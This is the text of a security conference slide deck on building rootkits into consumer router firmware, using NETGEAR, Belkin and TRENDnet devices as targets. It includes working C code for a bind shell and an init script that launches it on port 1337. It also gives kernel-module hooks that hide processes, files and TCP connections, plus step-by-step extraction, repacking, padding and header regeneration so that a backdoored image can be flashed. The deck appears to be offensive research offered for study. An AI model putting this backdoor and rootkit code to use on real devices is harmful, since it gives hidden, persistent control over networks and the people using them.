Owning the Network: Adventures in Router Rootkits

Michael Coppola
Who am I?

▪ Security Consultant at Virtual Security Research in Boston, MA (we're hiring!)

▪ Student at Northeastern University

▪ Did some stuff, won some CTFs

▪ http://poppopret.org/
How did this all start?

▪ .npk packages on MikroTik routers

▪ Install new features
  ▫ SOCKS proxy
  ▫ VPN
  ▫ IPv6 support
  ▫ XEN/KVM virtualization

▪ Potentially get a shell?
Router Firmware Upgrade Feature

Router Upgrade

Check for New Version from the Internet

- Check for New Version Upon Log in

Locate and select the upgrade file from your hard disk:
- Choose File
- No file chosen

Upload Cancel

Router Upgrade Help

You install new versions of the router's software using the Router Upgrade page.

Click the check button to go to the NETGEAR web site to get new versions of the router software. If a new version is found, you can select Yes to upgrade to that version, or select No to stay with the current version. It's recommended to upgrade to a new version.

Select the check box if you want to check for new version upon log in.

IMPORTANT! Once you click Upload do NOT interrupt the process of sending the software to the router and restarting the router. If you think the process may be interrupted in some way, click Cancel to keep the current router software.

Locate and select the upgrade file from your hard disk:

1. Go to www.NETGEAR.com and download the updated software.
2. If not done automatically, uncompress the file.
3. You may want to read the Release Notes before continuing.
4. Click Browse.
5. Locate and select the file you just downloaded and uncompressed.
6. Click Upload to send the software to the router.
7. This loads the new software in the router and causes the router to restart. Note: Do not try to go online, turn off the router, shutdown the computer or do anything else to the router until the router finishes restarting. When the Ready light stops blinking, wait a few more seconds before doing anything.
8. Click Router Status and check the Firmware Version to verify that your router now has the new software installed.

IMPORTANT! In some cases, such as a major upgrade, you may need to reconfigure your router after upgrading it. Refer to the Release Notes included with the software to find out if you need to reconfigure the router.

If you are unable to successfully upgrade using this method, refer to the Reference Manual on the Router Resource CD for other ways to upgrade the router.
The Big Question
Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device?
Can a universal process be developed to modify SOHO router firmware images to deploy malicious code without altering the interface or functionality of the device? 

...a rootkit of sorts?
Intentions

▪ Share my personal experience pursuing the topic and the challenges encountered

▪ Gain better insight into router internals

▪ Release some code

▪ Pop some shells

▪ Pwn some devices
Prior Work

- OpenWRT/DD-WRT
  - Custom firmware, reverse engineering, hardware / firmware profiling

- firmware-mod-kit
  - De/reconstruction of firmware images

- devttys0.com
  - Firmware modding, reverse engineering, and exploitation
Use Cases

▪ Default/weak credentials on admin panel
▪ RCE/auth bypass vulnerability
▪ CSRF file upload
The Targets

WNR1000v3

Vendor: NETGEAR
Version: 1.0.2.26NA
Format: NETGEAR .chk
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: SquashFS 3.0
The Targets

WGR614v9

Vendor: NETGEAR
Version: 1.2.30NA
Format: NETGEAR .chk
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: SquashFS 2.1
The Targets

FD57230-4 v1110

Vendor: Belkin
Version: 4.03.03
Format: EFH
Arch: MIPS
OS: Linux 2.4.20
Bootloader: CFE
Filesystem: CramFS v2
The Targets

TEW-652BRP v3.2R

Vendor: TRENDnet
Version: 3.00B13
Format: Realtek
Arch: MIPS
OS: Linux 2.6.19
Bootloader: U-Boot
Filesystem: SquashFS 4.0
Generalized Technique

- Profile the image
- Extract parts from the image
- Deploy payload
- Repack the image
- Update metadata
Connecting to the Console

▪ Most routers offer an RS-232 (serial) port

▪ Find terminals → Solder connectors → Shell!

▪ Useful for profiling the device, testing new payloads, debugging purposes

▪ Bootloader access provides recovery, quick testing of new firmware images
Connecting to the Console

- Four pins to search for:
  - GND – Ground
  - VCC – Voltage Common Collector (+3.3V)
  - TXD (TX) – Transmit Data
  - RXD (RX) – Receive Data
Console on WGR614v9
Console on WGR614v9
Connecting to the Console

▪ Computer RS-232 port operates at 12V

▪ Router RS-232 port operates at 3.3V

▪ Need to introduce a voltage shifter in the circuit to prevent damage
RS232 Shifter Board Kit

**Description:** Get your PIC or other uC talking to your computer fast and easy with this board! This is a small custom PCB developed to connect the UART on a microcontroller directly to the computer without the hassle of a MAX232 circuit. Almost all current computers (less than 10 years old) utilize a serial port based on the EIA-232 standard which operates from +/-5V rather than the RS232 standard of +/-12V. This board takes signals from the computer/microcontroller and correctly inverts and amplifies the serial signals to the EIA-232 standard. Works great up to about 38400bps. Originally designed to get Banner working in a breadboard setup, we use our Shifter at 115200bps without problems.

Comes as a *bag of parts* kit and is easily assembled if you can follow the silkscreen indicators and have beginning experience with a soldering iron.

Check out our [soldering tutorial](#) to assemble this device.
Building the RS-232 Shifter Board
Building the RS-232 Shifter Board
Putting it in Action
Putting it in Action
Profiling the Image
Profiling the Image

▪ What exactly makes up this giant blob of binary?
  ▫ Bootloader?
  ▫ Kernel?
  ▫ Filesystem?

▪ Early attempts were crude and limited in helpfulness
Profiling the Image
find-headers.pl

```perl
#!/usr/bin/perl

for $i ( 0 .. (- s $ARGV[0]) - 1 ) {
    $output = `dd if=$ARGV[0] bs=1 skip=$i count=256 2>/dev/null | file -`;
    unless ( $output =~ /^\dev\stdin: data/ ) {
        print "Offset $i: $output"
    }
}

sh-4.1$
```
<table>
<thead>
<tr>
<th>Offset</th>
<th>Path/Name Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>118</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>121</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>123</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>150</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>155</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>204</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>237</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>250</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>252</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>262</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>321</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>350</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>381</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>388</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>436</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>459</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>486</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>519</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>533</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>553</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>654</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>662</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>685</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>695</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>816</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>820</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>820</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>820</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>885</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>870</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>892</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>920</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>999</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1014</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1088</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
<tr>
<td>1109</td>
<td>find-headers.pl</td>
</tr>
</tbody>
</table>
binwalk

- Identifies headers, files, and code in files
- Uses libmagic + custom signature database

[Image of terminal output showing binwalk results]
binwalk vs. find-headers.pl

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEX</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>58</td>
<td>0x3A</td>
<td>TRX firmware header, little endian, header size: 28 bytes, image size: 2584576 bytes, CRC32: 0x9861D9FF flags/version: 0x10000</td>
</tr>
<tr>
<td>86</td>
<td>0x56</td>
<td>LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1084384 bytes</td>
</tr>
<tr>
<td>92566</td>
<td>0x30B1A</td>
<td>Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 1988899 bytes, 421 inodes, blocksize: 65536 bytes</td>
</tr>
</tbody>
</table>

```
class Time
  real    0m7.00s
  user    0m7.11s
  sys     0m0.00s
```

```
Offset 2581295: /dev/stdin: Sendmail frozen configuration - version \356\270\263L\272\372\913\353\260\264\wQ\323\R\207\223\248\71\233\061
 Offset 2581313: /dev/stdin: COM executable for DOS
 Offset 2581324: /dev/stdin: DOS executable (COM)
 Offset 2581326: /dev/stdin: SysEx File .
 Offset 2581349: /dev/stdin: DBase 3 data file with memo(s) (768504421 records)
 Offset 2581359: /dev/stdin: Dyalog APL version 45 .223
 Offset 2581372: /dev/stdin: ACB archive data
 Offset 2581373: /dev/stdin: BGEG relocatable (Microsoft)
 Offset 2581395: /dev/stdin: Sendmail frozen configuration - version \122C\275\322\008\366\221\323\268\635\224\2157\376\276
 Offset 2584633: /dev/stdin: very short file (no magic)
```

```
class Time
  real    0m22m31.900s
  user    0m57m9.760s
  sys     0m17m5.856s
```

The above command is run with the `time` command to measure the execution time.
Extracting from the Image
Items to Extract (WNR1000v3)

- Headers
- LZMA blob
- SquashFS filesystem
Extracting the Headers

- Offset: 0 bytes
- Size: 86 bytes

```bash
sh-4.1$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=headers.bin bs=86 count=1
1+0 records in
1+0 records out
86 bytes (86 B) copied, 9.2748e-05 s, 927 kB/s
sh-4.1$
```
Extracting the LZMA Blob

- Offset: 86
- Size: 592580 bytes

Here is our Linux Kernel

```
sh-4.1$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=lzma_block.lzma bs=86 skip=1
30052+1 records in
30052+1 records out
2584548 bytes (2.6 MB) copied, 0.218798 s, 11.8 MB/s
sh-4.1$ lzma -d lzma_block.lzma
sh-4.1$ strings -n10 lzma_block | head -n15
0 b80 c8
TERM=linux
Calibrating delay loop...
%lu.%02lu BogoMIPS
Kernel command line: %s
POSIX conformance testing by UNIFIX
/dev/console
/sbin/init
No init found. Try passing init= option to kernel.
Warning: unable to open an initial console.
Linux version 2.4.20 (zacker@svn) (gcc version 3.2.3 with Broadcom modifications)
) #1 Fri Jul 16 18:22:57 CST 2010
ataraid/d0p
ataraid/d1p
ataraid/d2p
ataraid/d3p
sh-4.1$ 
```
Extracting the SquashFS Filesystem

- Offset: 592666
- Size: 1988809 bytes

```
sh-4.1$ dd if=WNR1000v3-V1.0.2.26_51.0.59NA.chk of=squashfs.bin bs=592666 skip=1
3+1 records in
3+1 records out
199168 bytes (2.0 MB) copied, 0.0102608 s, 194 MB/s
sh-4.1$
```
Need unsquashfs?

firmware-mod-kit's got 'em

sh-4.1$ find firmware-mod-kit-read-only/trunk/ -name unsquashfs* -executable -a ! -name ".c" -a ! -name ".sh -print
firmware-mod-kit-read-only/trunk/src/squashfs-3.0-lzma-dmg-small-variant/unsquashfs-lzma
firmware-mod-kit-read-only/trunk/src/squashfs-2.1-r2/unsquashfs
firmware-mod-kit-read-only/trunk/src/squashfs-2.1-r2/unsquashfs-lzma
firmware-mod-kit-read-only/trunk/src/squashfs-3.0/unsquashfs
firmware-mod-kit-read-only/trunk/src/squashfs-3.0/unsquashfs-lzma
firmware-mod-kit-read-only/trunk/src/others/squashfs-hg55x-bin/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.0-e2160/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.0-e2160/unsquashfs-lzma
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.2-r2-lzma/squashfs-3.2-r2/squashfs-tools/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.2-r2/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-4.0-realtek/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.3/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-4.0-lzma/unsquashfs-lzma
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.3-gqml-lzma/squashfs-3.3/squashfs-tools/unsquashfs
firmware-mod-kit-read-only/trunk/src/others/squashfs-3.3-lzma/squashfs-3.3/squashfs-tools/unsquashfs
sh-4.1$
...but not the right one.
...neither does the source code.

But it's supposed to!
Getting unsquashfs

3/2/2012 3:06:00 PM
REFURB 2012-02-28 Other Hi Netgear, I'm reviewing the source code for your WNR1000v3 router (specifically, the WNR1000v3-V1.0.2.26_51.0.59NA image), and I see under bcm5356/src/router/squashfs that you only provide mksquashfs, and not unsquashfs. Since it seems that your squashfs utilities have special patches to perform LZMA compression, stock unsquashfs utilities don't work (nor do any other variants I can find publicly). Would it be possible to receive unsquashfs.c, and any other relevant files to unpack the filesystem on this router? Thank you!
3/4/2012 2:02:00 AM
From Agent ID: 1410

Case ID: 18044702

Dear Michael,

Thank you for choosing NETGEAR. My name is Naveen, and I am your support engineer today.

I understand that you want to modify the source code of the router. We apologize for this inconvenience. Because we are doing this online, it might require a few email exchanges to resolve the issue. Rest assured that we will do our best to resolve your case quickly.

Regarding your concern I am sorry to inform you that we cannot modify the source code of this router because its not an open source.

Please contact us again if you require further assistance.

Please do visit http://support.netgear.com for any technical queries regarding NETGEAR products.

A notice will automatically be sent to your email address when we have responded to your inquiry. Please DO NOT REPLY to that email. Instead, to add additional information to your case, click No to the question "Was your problem resolved with the information provided by the NETGEAR representative above?"

If you click YES, your case will be closed and a separate email containing a survey link will be sent so you can share with us your customer support experience.
Getting unsquashfs

3/4/2012 2:27:00 AM
Hi Naveen,
Thank you for your reply, I greatly appreciate it. However I am very confused. That model router is in fact open source, contrary to what you mentioned. It is listed on http://support.netgear.com/app/answers/detail/a_id/2649 and specifically may be downloaded from http://www.downloads.netgear.com/files/GPL/WNR1000v3-V1.0.2.26_51.0.59NAWW_src.tar.zip

According to the GPL license, all derivative work must also be GPL licensed, and therefore open source. NETGEAR"s WNR1000v3 product is based upon the GPL-licensed Linux kernel, as well as the GPL-licensed SquashFS filesystem, and therefore directly falls under this category of derivative work. NETGEAR has published all versions of the WNR1000v3 firmware free and open source, however, they lack the unsquashfs utility that is part of the SquashFS project.

May NETGEAR please release the source code to the unsquashfs utility for the WNR1000v3 V1.0.2.26 firmware, which is part of the SquashFS software project used to build this router"s filesystem? Thank you.
Dear Michael,

My name is Naveen, and I am following up on your Support case.

After reviewing the information you provided, I have a better understanding of your issue.

Please do click on the link below to know more about the router:

http://support.netgear.com/app/answers/detail/a_id/19969

Please do visit http://support.netgear.com for any technical queries regarding NETGEAR products.
Getting unsquashfs

WNR1000v3 Firmware Version 1.0.2.28

New Features:
1. Initial release for WNR1000v3h2.
2. This firmware is based on the WNR1000v3h1 firmware v1.0.2.26. This is exactly the same as firmware v1.0.2.26 except this firmware detects the hardware board to see if it's v3h1 or v3h2 and then applies the right wireless transmitting power settings accordingly.

Bug Fixes:
1. The BlackBerry sometimes cannot connect to the router when the wireless mode is "up to 72 mbps" or "up to 150 mbps". This does not look like a problem on the router, and a workaround is to try a different wireless channel on the router or to try more times to connect the BlackBerry to the router.

Installation Instructions:
1. Download the firmware to a convenient place such as your desktop.
   For North America users only
   [Click here to download] 2.46 MB

   For users outside Americas - World wide Version
   [Click here to download] 2.46 MB

2. Log in to the router using [http://www.routerlogin.net](http://www.routerlogin.net)
3. Click Maintenance > Router Upgrade.
4. Click Browse and locate the file you just downloaded.
Dear Mr. Coppola,

Thank you for choosing NETGEAR, my name is John from 2nd Level Technical Support.

I have read your case and understand that you are experiencing some problems with the NETGEAR WNR1000v3 with regard to its unsquashfs.c to un-package the file system of the router. I apologize for the inconvenience you have experienced. Since we are doing this online, it may require a few e-mail exchanges before we can resolve the issue. Rest assured that I will do my best effort to help resolve your case in the least amount of time.

As of this moment, I do not have the information requested and if it is available for customers. I will send a request to our Engineering department if the information can be disseminated at your level.
3/27/2012 8:08:00 PM
Notes added by 41035
Case Number: 18044702

Dear Mr. Coppola,

Please find the file you requested on the link below:

http://www.filetolink.com/68e593ac

Thanks again for choosing NETGEAR. Have a great day!

Sincerely,

NETGEAR Support
...and success!

```
sh-4.1$ cp ..:/bcm5356/src/router/squashfs/unsquashfs .
sh-4.1$ ./unsquashfs squashfs.bin

created 327 files
created 35 directories
created 59 symlinks
created 0 devices
created 0 fifos
sh-4.1$ ls squashfs-root/
bin  dev  etc  lib  media  mnt  proc  sbin  sys  tmp  usr  var  www
sh-4.1$ ls squashfs-root/etc
icon.ico  large.ico  ld.so.conf  ppp  small.ico
iproute2  ld.so.cache  lld2d.conf  resolv.conf
sh-4.1$ ls squashfs-root/bin
busybox  cp  gunzip  ls  mount  ps  rmdir  wps_ap
cat  eapd  gzip  mkdir  msh  pwd  sh  wps_monitor
chmod  echo  kill  mknod  ping  rm  umount  zcat
sh-4.1$
```
Deploying the Payload
Payload Vectors

▪ So we have a minimalistic Linux system...

▪ Userland is dirtier, quicker, more portable

▪ Kernel-land is stealthier, more development considerations, less portable
Infection via Userland

▪ Simple C backdoor code, drop on filesystem

▪ Single binary is executable across nearly all target systems

▪ File is visible, process is visible... who cares?

▪ Connections are visible... more of an issue.
Dropping the Binary

```c
if ( listen(sockfd, 1) < 0 )
{
    printf("Error listening for connections.\n");
    return -1;
}
if ( (result = accept(sockfd, NULL, 0)) < 0 )
{
    printf("Error accepting new connection.\n");
    return -1;
}
printf("Received connection, dropping shell.\n");
dup2(result, 2);
dup2(result, 1);
dup2(result, 0);
execl(SHELL, SHELL, NULL);
return 0;
```

```
#!/bin/msh
/usr/sbin/bind 1337 &
/usr/sbin/httpd.bak
```
Infection via Kernel-Land

- Three possible methods
  - Infection via LKM
  - Infection via /dev/kmem
  - Static kernel patching

- Bug in code would DoS the entire network

- Must be compiled against target kernel tree

- Files, processes, connections are hidden
Infection via LKM

- Linux Kernel Module

- Basic rootkit techniques from old Phrack articles are still relevant
  - plaguez - Weakening the Linux Kernel (Issue #52)
  - palmers – Advances in Kernel hacking (Issue #58)
  - sd, devik - Linux on-the-fly kernel patching without LKM (Issue #58)
  - tress - Infecting loadable kernel modules (Issue #61)

- As well as older rootkit code (like Adore)
Infection via LKM

- Init and exit functions
- Hide processes -> Hook /proc readdir()
- Hide files / directories -> Hook dir readdir()
- Hide connections -> Hook /proc/net/tcp, udp
LKM Structure for 2.4

#include <linux/module.h>
#include <linux/kernel.h>

int init_module ( void ) {  
    // Executed upon LKM load
    // We'll call out to hook various functions here
    return 0;
}

void cleanup_module ( void ) {  
    // Executed upon LKM unload
    // We'll uninstall any hooks and restore original function pointers here
}

MODULE_LICENSE("GPL");
LKM Structure for 2.6

#include <linux/module.h>
#include <linux/kernel.h>

static int __init isolemnly_swear_that_i_am_up_to_no_good ( void ) {
    // Executed upon LKM load
    // We'll call out to hook various functions here
    return 0;
}

static void __exit mischief_managed ( void ) {
    // Executed upon LKM unload
    // We'll uninstall any hooks and restore original function pointers here
}

module_init(isolemnly_swear_that_i_am_up_to_no_good);
module_exit(mischief_managed);

MODULE_LICENSE("GPL");
Linux 2.4/2.6 Hiding Processes (and Files)

```c
#include <fcntl.h>

readdir_t o_proc_readdir;
filldir_t o_proc_filldir;

int n_proc_filldir ( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) {
    char *endp;

    if ( is_hidden_pid(simple_strtol(name, &endp, 10)) )
        return 0;
    return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);
}

int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir ) {
    o_proc_filldir = filldir;
    return o_proc_readdir(file, dirent, &n_proc_filldir);
}

void hook_proc () {
    struct file *filep;

    filep = filp_open("/proc", O_RDONLY, 0);
    o_proc_readdir = filep->f_op->readdir;
    filep->f_op->readdir = &n_proc_readdir;
    filp_close(filep, 0);
}
```
Linux 2.4 Hiding Connections

Dirty hairball of code, full code in adore-ng:

```c
int n_get_info_tcp ( char *page, char **start, off_t pos, int count ) {
    int r = 0, i = 0, n = 0;
    char port[10], *ptr, *it;
    [...]
    r = o_get_info_tcp(page, start, pos, count);
    [...]
    for ( ; ptr < page + r; ptr += NET CHUNK ) {
        if ( ! is_hidden_port(ptr) ) {
            sprintf(port, "%4d", n);
            strncpy(ptr, port, strlen(port));
            memcpy(it, ptr, NET CHUNK);
            it += NET CHUNK;
            ++n;
        }
    }
    return r;
}

void hook_tcp () {
    struct proc_dir_entry *pde;
    pde = proc_net->subdir;
    while ( strcmp(pde->name, "tcp") )
        pde = pde->next;
    o_get_info_tcp = pde->get_info;
    pde->get_info = &n_get_info_tcp;
}
```
static int (*o_tcp4_seq_show)(struct seq_file *seq, void *v);
#define TMPSZ 150

static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) {
    int ret;
    char port[12];

    ret = o_tcp4_seq_show(seq, v);
    sprintf(port, ":%04X", to_hide_port);
    if ( srnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) {
        seq->count -= TMPSZ;
        break;
    }
    return ret;
}

void hook_tcp () {
    struct file *filep;
    struct tcp_seq_afinfo *afinfo;

    filep = filp_open("/proc/net/tcp", O_RDONLY, 0);
    afinfo = PDE(filep->f_dentry->d_inode)->data;
    o_tcp4_seq_show = afinfo->seq_ops.show;
    afinfo->seq_ops.show = &n_tcp4_seq_show;
    filp_close(filep, 0);
}
Repacking the Image
Repacking the Image

▪ Rebuild the unpacked filesystem

▪ Append extracted / generated parts together again

▪ Pad sections to defined length, if necessary

▪ Don't worry about metadata yet, we'll take care of that next
Building the Filesystem

- Build the filesystem with the appropriate utility and version

```
sh-4.1$ binwalk WOR614V9-V1.2.39.61.9.4U9.cky.1-03750439
sh-4.1$ mkfs.squashfs -o squashfs_root squashfs_new.bin

Creating little endian 2.1 filesystem on squashfs_new.bin, block size 65536.

Squashfs filesystem, little endian, version 2.1
size: 1476831 bytes, 292 inodes, blocksize: 65536 bytes, created: Sat Jan 30 02:04:22 2010

Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
Filesystem size 1442.22 Kbytes (1.41 Mbytes)
  29.4% of uncompressed filesystem size (4994.62 Kbytes)
Inode table size 2228 bytes (2.18 Kbytes)
  33.53% of uncompressed inode table size (6551 bytes)
Directory table size 2322 bytes (2.27 Kbytes)
  55.23% of uncompressed directory table size (4294 bytes)
Number of duplicate files found 3
Number of inodes 292
Number of files 217
Number of fragments 22
Number of symbolic links 48
Number of device nodes 0
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 27
Number of uids 1
  root (0)
Number of gids 0
sh-4.1$ binwalk squashfs_new.bin

DECIMAL  HEX  DESCRIPTION
0 0x0  Squashfs filesystem, little endian, version 2.1
```

Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
### Padding the Image

#### Command Output

```plaintext
sh-4.1$ hexdump -C WGR614v9-V1.2.30_41.0.44NA.chk | tail
001d80c0 00 52 54 00 00 9c 72 14 00 13 45 00 00 af b7 14 .RT...r...E.....
001d80d0 00 99 27 00 00 48 df 14 00 8f 2e 00 00 d7 0d 15 ...'.H............
001d80e0 00 09 30 00 00 e0 3d 15 00 7b 33 00 00 5b 71 15 ...0...={3.[q.
001d80f0 00 ca 1e 00 00 25 90 15 00 91 33 00 00 b6 c3 15 ......%...3.....
001d8100 00 fd 2b 00 00 b3 ef 15 00 3f 2c 00 00 f2 1b 16 ....+...?,......
001d8110 00 6c 5a 00 00 25 88 16 00 f6 01 00 00 00 00 00 .1Z.%..........|
001d8120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ............|
```

#### Additional Output

```plaintext
sh-4.1$ cat headerkernel1.bin squashfs_new.bin > WGR614v9-V1.2.30_41.0.44NA_rootkit.bin
sh-4.1$ ORIG=`wc -c WGR614v9-V1.2.30_41.0.44NA.chk | awk '{ print $1 }'`; echo $ORIG
1937466
sh-4.1$ NEW=$(`wc -c WGR614v9-V1.2.30_41.0.44NA_rootkit.bin | awk '{ print $1 }'` + 58); echo $NEW
1935422
sh-4.1$ dd if=/dev/zero bs=$((ORIG - NEW)) count=1 >> WGR614v9-V1.2.30_41.0.44NA_rootkit.bin
1+0 records in
1+0 records out
2044 bytes (2.0 kB) copied, 4.086e-05 s, 50.0 MB/s
sh-4.1$ wc -c WGR614v9-V1.2.30_41.0.44NA*
1937466 WGR614v9-V1.2.30_41.0.44NA.chk
1937408 WGR614v9-V1.2.30_41.0.44NA_rootkit.bin
3874874 total
sh-4.1$
```

---

**Placeholder for header**
Updating the Image Metadata
## NETGEAR .chk Header

<p>| | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>Magic Number ('*#$^')</td>
<td>Header Length</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Reserved</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kernel Checksum</td>
<td>Rootfs Checksum</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kernel Length</td>
<td>Rootfs Length</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Image Checksum</td>
<td>Header Checksum</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Board ID (&lt; 64 bytes)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Board ID (cont.)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Board ID (cont.)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Board ID (cont.)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Example Output:**

```
sh-4.1$ hexdump -C WNR1000v3-V1.0.2.26_51.0.59NA.chk | head -n4
00000000 2a 23 24 5e 00 00 00 00 3a 02 01 00 02 1a 33 00 3b
00000010 0a b0 f2 51 00 00 00 00 00 27 70 00 00 00 00 00
00000020 0a b0 f2 51 0f 67 0a dd 55 31 32 48 31 33 39 54
00000030 30 30 5f 4e 45 54 59 53 54 45 52 00 00 00 70
sh-4.1$
```
## NETGEAR .chk Header

<table>
<thead>
<tr>
<th>Variable</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Magic Value</td>
<td>*#$^</td>
</tr>
<tr>
<td>Header Length</td>
<td>0x31 = 58 bytes</td>
</tr>
<tr>
<td>Reserved</td>
<td>02 01 00 02 1a 33 00 3b</td>
</tr>
<tr>
<td>Kernel Checksum</td>
<td>0a b0 f2 51</td>
</tr>
<tr>
<td>Rootfs Checksum</td>
<td>00 00 00 00</td>
</tr>
<tr>
<td>Kernel Length</td>
<td>0x277000 = 2,584,576 bytes</td>
</tr>
<tr>
<td>Rootfs Length</td>
<td>0</td>
</tr>
<tr>
<td>Image Checksum</td>
<td>0a b0 f2 51</td>
</tr>
<tr>
<td>Header Checksum</td>
<td>0f 67 0a dd</td>
</tr>
<tr>
<td>Board ID</td>
<td>U12H139T00_NETGEAR</td>
</tr>
</tbody>
</table>
Generating a .chk Header

File Edit View Search Terminal Help

sh-4.1$ ./packet
Version: 2.0
Example:
packet -k linux.trx -f rootfs -b compatible.txt -ok kernel -oall kernel_rootfs -or rootfs -i ..../..../project/acos/include/ambitCfg.h
sh-4.1$ ./packet -k WGR614v9-V1.2.30_41.0.44NA_rootkit.bin -b compatible_CA.txt -i ambitCfg.h
sh-4.1$ cp _kernel_rootfs_image.chk WGR614v9-V1.2.30_41.0.44NA_rootkit.bin
sh-4.1$ hexdump -C WGR614v9-V1.2.30_41.0.44NA_rootkit.bin | head
00000000 2a 23 24 5e 00 00 00 3a 02 01 02 1e 29 00 2c 00
00000100 16 3a 5c 71 00 00 00 00 00 1d 90 00 00 00 00
00000200 16 3a 5c 71 d6 0a 09 1e 55 31 32 48 30 39 34 54
00000300 30 30 35 f4 45 54 47 45 41 52 48 44 52 30 00 90
00000400 1d 00 e8 87 bb 4d 00 00 01 00 1c 00 00 00 04 f8
00000500 06 00 00 00 00 00 5d 00 00 80 00 00 00 0d 15 00 00
00000600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000700 17 1e 18 2b 16 04 1d 1b 95 f0 50 79 4e c4 c8 10
00000800 37 6d d3 e7 e4 bb 9d 25 6f 44 ea 4b 58 81 7e 17
00000900 52 40 23 10 07 09 58 74 12 8a 7c 07 7f 0f 78 8b

sh-4.1$
rpef: The Router Post-Exploitation Framework
rpef

- Abstracts and expedites the process of backdooring router firmware images

- [http://redmine.poppopret.org/projects/rpef](http://redmine.poppopret.org/projects/rpef)
Future Work

▪ More supported routers / modules

▪ More / better payloads (VPN/ SOCKS, modify traffic, port knocking?)

▪ Arbitrary size payloads?

▪ Multiple payloads?
Future Work

▪ Static kernel patching?

▪ Reverse engineering work required to get past some roadblocks

